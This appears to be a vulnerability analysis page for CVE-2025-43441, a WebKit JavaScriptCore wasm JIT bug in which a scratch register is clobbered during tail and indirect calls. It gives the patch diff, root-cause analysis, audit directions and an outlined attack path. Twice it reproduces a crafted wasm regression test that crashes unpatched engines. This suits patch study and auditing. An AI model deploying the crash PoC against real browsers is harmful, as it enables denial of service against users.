Released November 3, 2025

CVE-2025-43441

CVSS 4.3 severity medium CWE-119CWE-120 vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Overview

Impact:

Description: Processing maliciously crafted web content may lead to an unexpected process crash

Researchers: rheza (@ginggilBesel)

Key insight. The scratch register is only safe to enable once no input value lives in it: the bug was holding AllowMacroScratchRegisterUsage across regions where the callee pointer or a tail-call argument still occupied the scratch/tmp register, so an internal spill silently destroyed live state.

Patch Details

diff --git a/JSTests/wasm/stress/omg-tail-call-clobber-scratch-register.js b/JSTests/wasm/stress/omg-tail-call-clobber-scratch-register.js
new file mode 100644
index 000000000000..e3878b1353e3
--- /dev/null
+++ b/JSTests/wasm/stress/omg-tail-call-clobber-scratch-register.js
@@ -0,0 +1,33 @@
+//@ runDefault("--jitPolicyScale=0")
+const v39 = new WebAssembly.Instance(new WebAssembly.Module(new Uint8Array([
+    0x00, 0x61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x23,
+    0x03, 0x60, 0x00, 0x00, 0x60, 0x09, 0x7E, 0x63, 0x6C, 0x7E,
+    0x7F, 0x63, 0x6F, 0x7E, 0x63, 0x71, 0x63, 0x6F, 0x7E, 0x03,
+    0x7E, 0x63, 0x71, 0x63, 0x72, 0x60, 0x01, 0x63, 0x6C, 0x03,
+    0x7E, 0x63, 0x71, 0x63, 0x72, 0x03, 0x03, 0x02, 0x01, 0x02,
+    0x04, 0x05, 0x01, 0x63, 0x70, 0x00, 0x0A, 0x05, 0x01, 0x00,
+    0x06, 0x01, 0x00, 0x07, 0x11, 0x03, 0x02, 0x77, 0x30, 0x00,
+    0x00, 0x02, 0x77, 0x31, 0x00, 0x01, 0x03, 0x77, 0x74, 0x30,
+    0x01, 0x00, 0x09, 0x09, 0x01, 0x02, 0x00, 0x41, 0x00, 0x0B,
+    0x00, 0x01, 0x00, 0x00, 0x20, 0x19, 0x6D, 0x65, 0x74, 0x61,
+    0x64, 0x61, 0x74, 0x61, 0x2E, 0x63, 0x6F, 0x64, 0x65, 0x2E,
+    0x62, 0x72, 0x61, 0x6E, 0x63, 0x68, 0x5F, 0x68, 0x69, 0x6E,
+    0x74, 0x01, 0x01, 0x01, 0x30, 0x01, 0x01, 0x0A, 0x92, 0x01,
+    0x02, 0x1D, 0x03, 0x01, 0x7B, 0x01, 0x7E, 0x01, 0x63, 0x72,
+    0x20, 0x00, 0xFD, 0x12, 0x21, 0x09, 0x42, 0x07, 0x21, 0x0A,
+    0xD0, 0x72, 0x21, 0x0B, 0x20, 0x0A, 0x20, 0x06, 0x20, 0x0B,
+    0x0B, 0x72, 0x0A, 0x01, 0x7F, 0x01, 0x7F, 0x01, 0x7F, 0x01,
+    0x7F, 0x01, 0x63, 0x72, 0x01, 0x63, 0x71, 0x01, 0x7E, 0x01,
+    0x7E, 0x01, 0x7E, 0x01, 0x7F, 0x41, 0x94, 0xFD, 0x01, 0x21,
+    0x01, 0x03, 0x00, 0x41, 0x01, 0x21, 0x02, 0x20, 0x01, 0x20,
+    0x02, 0x6B, 0x21, 0x03, 0x20, 0x03, 0x21, 0x01, 0x20, 0x01,
+    0x0D, 0x00, 0x0B, 0x41, 0x00, 0x21, 0x04, 0xD0, 0x72, 0x21,
+    0x05, 0xD0, 0x71, 0x21, 0x06, 0x42, 0xFF, 0x00, 0x21, 0x07,
+    0x42, 0xE7, 0xFF, 0xFF, 0xFF, 0x01, 0x21, 0x08, 0x42, 0x09,
+    0x21, 0x09, 0x41, 0x00, 0x21, 0x0A, 0x20, 0x09, 0x20, 0x00,
+    0x20, 0x08, 0x20, 0x04, 0x20, 0x05, 0x20, 0x07, 0x20, 0x06,
+    0x20, 0x05, 0x20, 0x08, 0x20, 0x0A, 0x13, 0x01, 0x00, 0x20,
+    0x09, 0x20, 0x06, 0x20, 0x05, 0x0B,
+])));
+// Don't crash.
+v39.exports.w1(-900879769);
diff --git a/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp b/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
index 00d08fda5902..f3ed7363c49c 100644
--- a/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
+++ b/Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
@@ -1847,9 +1847,10 @@ auto OMGIRGenerator::emitIndirectCall(Value* calleeInstance, Value* calleeCode,
         patchpoint->append(boxedCalleeCallee, ValueRep::SomeRegister);
         patchArgsIndex += m_proc.resultCount(patchpoint->type());
         patchpoint->setGenerator([prepareForCall = prepareForCall, patchArgsIndex](CCallHelpers& jit, const B3::StackmapGenerationParams& params) {
-            AllowMacroScratchRegisterUsage allowScratch(jit);
             prepareForCall->run(jit, params);
             jit.storeWasmCalleeToCalleeCallFrame(params[patchArgsIndex + 1].gpr(), sizeof(CallerFrameAndPC) - prologueStackPointerDelta());
+            // Allow scratch after the callee is stored, which could be in the scratch register.
+            AllowMacroScratchRegisterUsage allowScratch(jit);
             jit.farJump(params[patchArgsIndex].gpr(), WasmEntryPtrTag);
         });
         return { };
@@ -5542,33 +5543,74 @@ static inline void prepareForTailCallImpl(unsigned functionIndex, CCallHelpers&
     auto& functionSignature = *signature.as<FunctionSignature>();
     const Checked<int32_t> offsetOfFirstSlotFromFP = WTF::roundUpToMultipleOf<stackAlignmentBytes()>(wasmCallerInfoAsCallee.headerAndArgumentStackSizeInBytes);
     JIT_COMMENT(jit, "Set up tail call, new FP offset from FP: ", newFPOffsetFromFP);
-    AllowMacroScratchRegisterUsage allowScratch(jit);
+
+    const unsigned frameSize = params.code().frameSize();
+    ASSERT(WTF::roundUpToMultipleOf<stackAlignmentBytes()>(frameSize) == frameSize);
+    ASSERT(WTF::roundUpToMultipleOf<stackAlignmentBytes()>(std::abs(newFPOffsetFromFP)) == static_cast<size_t>(std::abs(newFPOffsetFromFP)));
+
+    auto fpOffsetToSPOffset = [frameSize](int32_t offset) {
+        return checkedSum<int>(safeCast<int>(frameSize), offset).value();
+    };
+
+    auto newReturnPCOffset = fpOffsetToSPOffset(checkedSum<intptr_t>(CallFrame::returnPCOffset(), newFPOffsetFromFP).value());
+
+    // We requested some extra stack space below via requestCallArgAreaSize
+    // ... FP [initial safe area][caller stack space ] [callArgSpace                    ] SP ...
+    // becomes
+    // ... FP [safe area growing ->    ] [danger           ] [ scratch                  ] SP ...
+    // This scratch space sits at the very bottom of the stack, near sp.
+    // AirLowerStackArgs takes care of adding callArgSpace to our total caller frame size.
+    // BUT, even though we have this extra space, the new frame might be bigger, so we can't
+    // use the new frame as scratch. The new return pc represents the lowest offset from SP we can use.
+    int spillPointer = 0;
+    const int scratchAreaUpperBound = std::min(
+        safeCast<int>(WTF::roundUpToMultipleOf<stackAlignmentBytes()>(static_cast<int>(wasmCalleeInfoAsCallee.headerAndArgumentStackSizeInBytes))),
+        newReturnPCOffset);
+    auto allocateSpill = [&] (Width width) -> int {
+        int offset = spillPointer;
+        spillPointer += bytesForWidth(width);
+        ASSERT(spillPointer <= scratchAreaUpperBound);
+        ASSERT(offset < scratchAreaUpperBound);
+        return offset;
+    };
+
+    RegisterAtOffsetList calleeSaves = params.code().calleeSaveRegisterAtOffsetList();
 
     // Be careful not to clobber this below.
     // We also need to make sure that we preserve this if it is used by the patchpoint body.
-    bool clobbersTmp = false;
+    AllowMacroScratchRegisterUsage allowScratch(jit);
     auto tmp = jit.scratchRegister();
-    int tmpSpill = 0;
+    bool tmpNeedsSaving = false;
+    int tmpSpillOffsetRelativeToOriginalSP = 0;
 
-    // Set up a valid frame so that we can clobber this one.
-    RegisterAtOffsetList calleeSaves = params.code().calleeSaveRegisterAtOffsetList();
-    jit.emitRestore(calleeSaves);
-
-    for (unsigned i = 0; i < params.size(); ++i) {
-        auto arg = params[i];
-        if (arg.isGPR()) {
-            ASSERT(!calleeSaves.find(arg.gpr()));
-            if (arg.gpr() == tmp)
-                clobbersTmp = true;
-            continue;
-        }
-        if (arg.isFPR()) {
-            ASSERT(!calleeSaves.find(arg.fpr()));
-            continue;
+    // Nothing before saving tmp can use the scratch register since it might clobber an input.
+    {
+        DisallowMacroScratchRegisterUsage disallowScratch(jit);
+
+        // Set up a valid frame so that we can clobber this one.
+        jit.emitRestore(calleeSaves);
+
+        for (unsigned i = 0; i < params.size(); ++i) {
+            auto arg = params[i];
+            if (arg.isGPR()) {
+                ASSERT(!calleeSaves.find(arg.gpr()));
+                if (arg.gpr() == tmp)
+                    tmpNeedsSaving = true;
+                continue;
+            }
+            if (arg.isFPR()) {
+                ASSERT(!calleeSaves.find(arg.fpr()));
+                continue;
+            }
         }
+
+        ASSERT(!calleeSaves.find(tmp));
     }
 
-    ASSERT(!calleeSaves.find(tmp));
+    if (tmpNeedsSaving) {
+        tmpSpillOffsetRelativeToOriginalSP = allocateSpill(WidthPtr);
+        jit.storePtr(tmp, CCallHelpers::Address(MacroAssembler::stackPointerRegister, tmpSpillOffsetRelativeToOriginalSP));
+    }
 
 #if ASSERT_ENABLED
     // Let's make sure we never rely on these slots, so we can use them for scratch in the future.
@@ -5579,14 +5621,6 @@ static inline void prepareForTailCallImpl(unsigned functionIndex, CCallHelpers&
         CCallHelpers::Address(MacroAssembler::framePointerRegister, CallFrameSlot::argumentCountIncludingThis * sizeof(Register)));
 #endif
 
-    const unsigned frameSize = params.code().frameSize();
-    ASSERT(WTF::roundUpToMultipleOf<stackAlignmentBytes()>(frameSize) == frameSize);
-    ASSERT(WTF::roundUpToMultipleOf<stackAlignmentBytes()>(std::abs(newFPOffsetFromFP)) == static_cast<size_t>(std::abs(newFPOffsetFromFP)));
-
-    auto fpOffsetToSPOffset = [frameSize](int32_t offset) {
-        return checkedSum<int>(safeCast<int>(frameSize), offset).value();
-    };
-
     JIT_COMMENT(jit, "Let's use the caller's frame, so that we always have a valid frame.");
     if (WasmOMGIRGeneratorInternal::verboseTailCalls) {
         jit.probeDebugSIMD([frameSize, fpOffsetToSPOffset, newFPOffsetFromFP, signature = Ref<const TypeDefinition>(signature), wasmCalleeInfoAsCallee, firstPatchArg, lastPatchArg, params, functionIndex] (Probe::Context& context) {
@@ -5643,31 +5677,9 @@ static inline void prepareForTailCallImpl(unsigned functionIndex, CCallHelpers&
         });
     }
 
-    auto newReturnPCOffset = fpOffsetToSPOffset(checkedSum<intptr_t>(CallFrame::returnPCOffset(), newFPOffsetFromFP).value());
-
     JIT_COMMENT(jit, "Copy over args if needed into their final position, clobbering everything.");
     // This code has a bunch of overlap with CallFrameShuffler and Shuffle in Air/BBQ
 
-    // We requested some extra stack space below via requestCallArgAreaSize
-    // ... FP [initial safe area][caller stack space ] [callArgSpace                    ] SP ...
-    // becomes
-    // ... FP [safe area growing ->    ] [danger           ] [ scratch                  ] SP ...
-    // This scratch space sits at the very bottom of the stack, near sp.
-    // AirLowerStackArgs takes care of adding callArgSpace to our total caller frame size.
-    // BUT, even though we have this extra space, the new frame might be bigger, so we can't
-    // use the new frame as scratch. The new return pc represents the lowest offset from SP we can use.
-    int spillPointer = 0;
-    const int scratchAreaUpperBound = std::min(
-        safeCast<int>(WTF::roundUpToMultipleOf<stackAlignmentBytes()>(static_cast<int>(wasmCalleeInfoAsCallee.headerAndArgumentStackSizeInBytes))),
-        newReturnPCOffset);
-    auto allocateSpill = [&] (Width width) -> int {
-        int offset = spillPointer;
-        spillPointer += bytesForWidth(width);
-        ASSERT(spillPointer <= scratchAreaUpperBound);
-        ASSERT(offset < scratchAreaUpperBound);
-        return offset;
-    };
-
     auto doMove = [&jit, tmp] (int srcOffset, int dstOffset, Width width) {
         JIT_COMMENT(jit, "Do move ", srcOffset, " -> ", dstOffset);
         auto src = CCallHelpers::Address(MacroAssembler::stackPointerRegister, srcOffset);
@@ -5697,11 +5709,6 @@ static inline void prepareForTailCallImpl(unsigned functionIndex, CCallHelpers&
 
     JIT_COMMENT(jit, "SP[", safeAreaLowerBound, "] to SP[", stackUpperBound, "] form the safe portion of the stack to clobber; Scratches go from SP[0] to SP[", scratchAreaUpperBound, "].");
 

Background

Advisory: Apple Security Advisory

Attribute Value
CVE CVE-2025-43441
Bugzilla 298496
Component JSC
Bug Class LogicError
Severity medium
Commit 11eaa3910d44873a…
Advisory Apple Advisory

Terminology

  • MacroAssembler scratch register — A register the JIT reserves for internal use when lowering a single macro instruction; code must declare AllowMacroScratchRegisterUsage before any macro op is permitted to clobber it.
  • AllowMacroScratchRegisterUsage / DisallowMacroScratchRegisterUsage — RAII guard objects that toggle, for their lexical scope, whether emitted macro instructions may use (and thus overwrite) the scratch register.
  • Patchpoint generator — A callback the B3/Air backend invokes at code-emission time to emit custom machine code for a call site, receiving the physical register/stack assignments of its inputs via StackmapGenerationParams.
  • WebAssembly tail call — A call that reuses the caller’s stack frame instead of pushing a new one; the JIT must shuffle arguments into their final positions and adjust SP without a valid intermediate frame, making register/stack scratch management delicate.
  • OMG JIT — JavaScriptCore’s Optimizing Maximal-Grade WebAssembly tier that recompiles hot wasm functions through the B3/Air optimizing backend.

Root Cause Analysis

The patch fixes an unsafe use of the MacroAssembler scratch register in the OMG (optimizing) WebAssembly JIT during two related code-generation paths: the indirect-call patchpoint generator in emitIndirectCall and the tail-call setup helper prepareForTailCallImpl (both the 64-bit WasmOMGIRGenerator.cpp and the 32/64-bit WasmOMGIRGenerator32_64.cpp variants). WebKit’s MacroAssembler reserves a dedicated scratch/tmp register whose use is gated by AllowMacroScratchRegisterUsage / DisallowMacroScratchRegisterUsage RAII guards; any macro instruction emitted while AllowMacroScratchRegisterUsage is in scope is permitted to silently clobber that register. The invariant that was violated is that the scratch register must not be marked allowable while it still holds a live input value. In emitIndirectCall, AllowMacroScratchRegisterUsage was constructed at the very top of the patchpoint generator, so the subsequent storeWasmCalleeToCalleeCallFrame (which may itself materialize the callee value via the scratch register) and the surrounding sequencing could clobber the callee-code pointer held in a param GPR before the farJump consumed it. The fix moves the AllowMacroScratchRegisterUsage construction to after storeWasmCalleeToCalleeCallFrame, with the comment ‘Allow scratch after the callee is stored, which could be in the scratch register.’ In prepareForTailCallImpl the same class of bug existed across the whole argument-shuffling routine: the old code held a single AllowMacroScratchRegisterUsage over the entire body while it restored callee-saves, spilled/moved tail-call arguments, and finally adjusted SP and jumped, so an argument that happened to live in the scratch (tmp) register could be destroyed by any macro instruction that reached for scratch. The rewrite hoists the frame-size and spill-area computation up front, then wraps the input-live regions in explicit DisallowMacroScratchRegisterUsage scopes (‘Nothing before saving tmp can use the scratch register since it might clobber an input’ and ‘Nothing after restoring tmp can use the scratch register since it might clobber an input’), spills tmp to a dedicated stack slot (renamed tmpSpill -> tmpSpillOffsetRelativeToOriginalSP and clobbersTmp -> tmpNeedsSaving) when it is a live argument, and only re-enables scratch in the narrow window where it is safe. The net effect is that no live wasm argument or callee pointer can be silently overwritten by an internal scratch-register spill during tail-call/indirect-call lowering, which previously produced miscompiled machine code and a crash on the added regression test omg-tail-call-clobber-scratch-register.js.

Attack Path

1. Deliver crafted wasm module

Serve a WebAssembly module whose exported function performs an indirect call or a tail call with an argument layout that places a live value (or the callee-code pointer) into the JIT’s scratch/tmp register, matching the encoding in the regression test.

2. Force OMG tier-up

Drive the function hot (the test uses –jitPolicyScale=0) so it is compiled by the OMG optimizing JIT, exercising emitIndirectCall’s patchpoint generator and prepareForTailCallImpl rather than the interpreter or BBQ tier.

3. Trigger scratch clobber during lowering

During code generation the AllowMacroScratchRegisterUsage window causes a macro instruction (e.g. materializing the callee pointer or an argument move) to overwrite the scratch register while it still holds a live input, producing miscompiled code.

4. Execute the miscompiled call

At runtime the tail/indirect call jumps with a corrupted callee-code pointer or shuffles arguments incorrectly, yielding an unexpected process crash (the observed impact) and, in principle, a corrupted control-flow target.

5. (Inference) Escalate a controlled clobber

If an attacker can influence which value lands in the scratch register and the resulting incorrect jump target or argument, this could in theory be steered beyond a crash; the commit itself only establishes the miscompile-and-crash, so any control-flow-hijack escalation is inferred, not shown.

Impact Assessment

As established by the commit, the primitive is a JIT miscompilation in the wasm OMG tier that clobbers a live register during indirect/tail-call lowering, whose demonstrated effect is an unexpected crash in the WebContent process (the regression test is titled ‘Don’t crash’). Because the clobbered value can be a callee-code pointer used by farJump or a live wasm argument shuffled into the callee frame, there is a plausible but unproven path toward corrupted control flow or argument state; the diff only proves a crash, so treating this as a controlled/uncontrolled crash is the grounded reading and any RCE escalation is inference. It is confined to the WebContent process JS/wasm engine and does not by itself cross the sandbox.

Audit Directions

Other patchpoint generators enabling scratch too early

In the wasm OMG/BBQ generators grep for ‘AllowMacroScratchRegisterUsage allowScratch(jit)’ placed at the top of a patchpoint setGenerator lambda and check whether any params[…].gpr()/fpr() input is still live (used by a later store/jump) after that point; the fix pattern is to construct the guard only immediately before the instruction that consumes the scratch.

Tail-call and CallFrameShuffler scratch handling

Audit prepareForTailCallImpl analogues and CallFrameShuffler/Air Shuffle code for a single wide AllowMacroScratchRegisterUsage scope surrounding emitRestore(calleeSaves), argument moves and SP adjustment; look for tmp = jit.scratchRegister() where tmp may alias a param GPR without a spill guarded by DisallowMacroScratchRegisterUsage.

scratchRegister() aliasing live inputs

Across MacroAssembler users grep for jit.scratchRegister()/dataTempRegister/addressTempRegister used near loops over params[i].gpr() and verify a spill exists when arg.gpr() == scratch; the renamed tmpNeedsSaving/tmpSpillOffsetRelativeToOriginalSP logic is the reference safe pattern.

Missing Disallow scopes around SP transitions

Search for jit.addPtr(…stackPointerRegister) or farJump sequences that lack a surrounding DisallowMacroScratchRegisterUsage, since adjusting SP or jumping while scratch is enabled and inputs are live is the exact miscompile condition this patch closes.

Changed Functions

Function File Change Note
OMGIRGenerator::emitIndirectCall (patchpoint generator lambda) Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp modified Moved AllowMacroScratchRegisterUsage from the top of the generator to after storeWasmCalleeToCalleeCallFrame, so the scratch register is only allowed once the callee (which may occupy it) has been stored, just before farJump.
prepareForTailCallImpl Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp modified Hoisted frame-size/spill-area setup, wrapped the callee-save-restore/argument-scan and the final SP-adjust/jump in DisallowMacroScratchRegisterUsage scopes, and renamed clobbersTmp->tmpNeedsSaving and tmpSpill->tmpSpillOffsetRelativeToOriginalSP with an eager spill of tmp when it is a live argument.
OMGIRGenerator::emitIndirectCall (patchpoint generator lambda) Source/JavaScriptCore/wasm/WasmOMGIRGenerator32_64.cpp modified Same reordering for the 32/64-bit generator: AllowMacroScratchRegisterUsage now constructed after storeWasmCalleeToCalleeCallFrame and before loading the call target.
prepareForTailCallImpl Source/JavaScriptCore/wasm/WasmOMGIRGenerator32_64.cpp modified Mirror of the 64-bit fix, additionally guarding the stack-argument stash loop (tailCallPatchpointScratch) inside the DisallowMacroScratchRegisterUsage region.

Files Changed

Source Files

  • Source/JavaScriptCore/wasm/WasmOMGIRGenerator.cpp
  • Source/JavaScriptCore/wasm/WasmOMGIRGenerator32_64.cpp

Test Files

  • JSTests/wasm/stress/omg-tail-call-clobber-scratch-register.js

Regression Test

The fix ships this proof-of-concept / regression test:

diff --git a/JSTests/wasm/stress/omg-tail-call-clobber-scratch-register.js b/JSTests/wasm/stress/omg-tail-call-clobber-scratch-register.js
new file mode 100644
index 000000000000..e3878b1353e3
--- /dev/null
+++ b/JSTests/wasm/stress/omg-tail-call-clobber-scratch-register.js
@@ -0,0 +1,33 @@
+//@ runDefault("--jitPolicyScale=0")
+const v39 = new WebAssembly.Instance(new WebAssembly.Module(new Uint8Array([
+    0x00, 0x61, 0x73, 0x6D, 0x01, 0x00, 0x00, 0x00, 0x01, 0x23,
+    0x03, 0x60, 0x00, 0x00, 0x60, 0x09, 0x7E, 0x63, 0x6C, 0x7E,
+    0x7F, 0x63, 0x6F, 0x7E, 0x63, 0x71, 0x63, 0x6F, 0x7E, 0x03,
+    0x7E, 0x63, 0x71, 0x63, 0x72, 0x60, 0x01, 0x63, 0x6C, 0x03,
+    0x7E, 0x63, 0x71, 0x63, 0x72, 0x03, 0x03, 0x02, 0x01, 0x02,
+    0x04, 0x05, 0x01, 0x63, 0x70, 0x00, 0x0A, 0x05, 0x01, 0x00,
+    0x06, 0x01, 0x00, 0x07, 0x11, 0x03, 0x02, 0x77, 0x30, 0x00,
+    0x00, 0x02, 0x77, 0x31, 0x00, 0x01, 0x03, 0x77, 0x74, 0x30,
+    0x01, 0x00, 0x09, 0x09, 0x01, 0x02, 0x00, 0x41, 0x00, 0x0B,
+    0x00, 0x01, 0x00, 0x00, 0x20, 0x19, 0x6D, 0x65, 0x74, 0x61,
+    0x64, 0x61, 0x74, 0x61, 0x2E, 0x63, 0x6F, 0x64, 0x65, 0x2E,
+    0x62, 0x72, 0x61, 0x6E, 0x63, 0x68, 0x5F, 0x68, 0x69, 0x6E,
+    0x74, 0x01, 0x01, 0x01, 0x30, 0x01, 0x01, 0x0A, 0x92, 0x01,
+    0x02, 0x1D, 0x03, 0x01, 0x7B, 0x01, 0x7E, 0x01, 0x63, 0x72,
+    0x20, 0x00, 0xFD, 0x12, 0x21, 0x09, 0x42, 0x07, 0x21, 0x0A,
+    0xD0, 0x72, 0x21, 0x0B, 0x20, 0x0A, 0x20, 0x06, 0x20, 0x0B,
+    0x0B, 0x72, 0x0A, 0x01, 0x7F, 0x01, 0x7F, 0x01, 0x7F, 0x01,
+    0x7F, 0x01, 0x63, 0x72, 0x01, 0x63, 0x71, 0x01, 0x7E, 0x01,
+    0x7E, 0x01, 0x7E, 0x01, 0x7F, 0x41, 0x94, 0xFD, 0x01, 0x21,
+    0x01, 0x03, 0x00, 0x41, 0x01, 0x21, 0x02, 0x20, 0x01, 0x20,
+    0x02, 0x6B, 0x21, 0x03, 0x20, 0x03, 0x21, 0x01, 0x20, 0x01,
+    0x0D, 0x00, 0x0B, 0x41, 0x00, 0x21, 0x04, 0xD0, 0x72, 0x21,
+    0x05, 0xD0, 0x71, 0x21, 0x06, 0x42, 0xFF, 0x00, 0x21, 0x07,
+    0x42, 0xE7, 0xFF, 0xFF, 0xFF, 0x01, 0x21, 0x08, 0x42, 0x09,
+    0x21, 0x09, 0x41, 0x00, 0x21, 0x0A, 0x20, 0x09, 0x20, 0x00,
+    0x20, 0x08, 0x20, 0x04, 0x20, 0x05, 0x20, 0x07, 0x20, 0x06,
+    0x20, 0x05, 0x20, 0x08, 0x20, 0x0A, 0x13, 0x01, 0x00, 0x20,
+    0x09, 0x20, 0x06, 0x20, 0x05, 0x0B,
+])));
+// Don't crash.
+v39.exports.w1(-900879769);